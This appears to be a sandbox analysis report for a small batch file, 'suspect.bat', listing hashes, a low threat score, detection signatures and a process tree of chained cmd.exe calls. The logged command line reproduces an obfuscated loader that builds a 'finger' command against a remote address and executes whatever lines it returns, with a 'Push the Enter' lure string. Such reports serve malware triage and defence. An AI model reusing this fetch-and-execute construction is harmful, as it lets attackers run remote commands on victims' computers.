e175367a0bffbce0d79dc83f6890e822f682fea4b08f81d0b908923fa89ee2c2

Resubmissions

10/11/2026, 03:54

261110-ef9pjsgs2l3

10/11/2026, 03:54

261110-ef6ynags2k

10/11/2026, 03:25

261110-dylj1ags8y5

Analysis

max time kernel
148s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/11/2026, 03:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
suspect.bat
Size 240B
Sample261110-ef9pjsgs2l
SHA256 e175367a0bffbce0d79dc83f6890e822f682fea4b08f81d0b908923fa89ee2c2
MD5 586c9a57e7ae409fdc7250575682e343
SHA1 2982123545140985adf3f514fc8e947fd8ce1783
SHA512 5cec9036ba09e36ab48a6e0f2cb2c90713c310628ad2bc0fc7f8f5cfda5ca2a9bdfb186cc75efbf6704e0825181956f4d7ce10e0de90f4dee555c961aed8ebd6
TLSH
T1C8D0A96F4E45122028EECCE3E445A10AFAEC0932C101E0A8308FAD92E7E1DB9141CAF9
MD5 SHA1 SHA512 TLSH

Score

3^/10

execution

Malware Config

Signatures

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4492	cmd.exe
2264	cmd.exe
5744	cmd.exe
5072	cmd.exe
4212	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4492 wrote to memory of 2264	4492	cmd.exe	90
PID 2264 wrote to memory of 5744	2264	cmd.exe	91
PID 5744 wrote to memory of 5072	5744	cmd.exe	92
PID 5072 wrote to memory of 4212	5072	cmd.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\suspect.bat %COMSPEC% /c %COMSPEC% /c %COMSPEC% /c start "" /^min for /f "delims=" %i in (',,,,,echo fin') do for /f "delims=" %j in ('"%i""ger" [email protected]') do @%j & --------------P_u_s_h----t_h_e----_E_n_t_e_r_------
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\cmd.exe /c C:\Windows\system32\cmd.exe /c start "" /min for /f "delims=" j in ('"j & --------------P_u_s_h----t_h_e----_E_n_t_e_r_------
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\system32\cmd.exe /c start "" /min for /f "delims=" j in ('"j & --------------P_u_s_h----t_h_e----_E_n_t_e_r_------
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start "" /min for /f "delims=" j in ('"j & --------------P_u_s_h----t_h_e----_E_n_t_e_r_------
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5072
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K for /f "delims=" j in ('"j & --------------P_u_s_h----t_h_e----_E_n_t_e_r_------
        5⤵
        Executes a command shell one-liner
        
        PID:4212

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads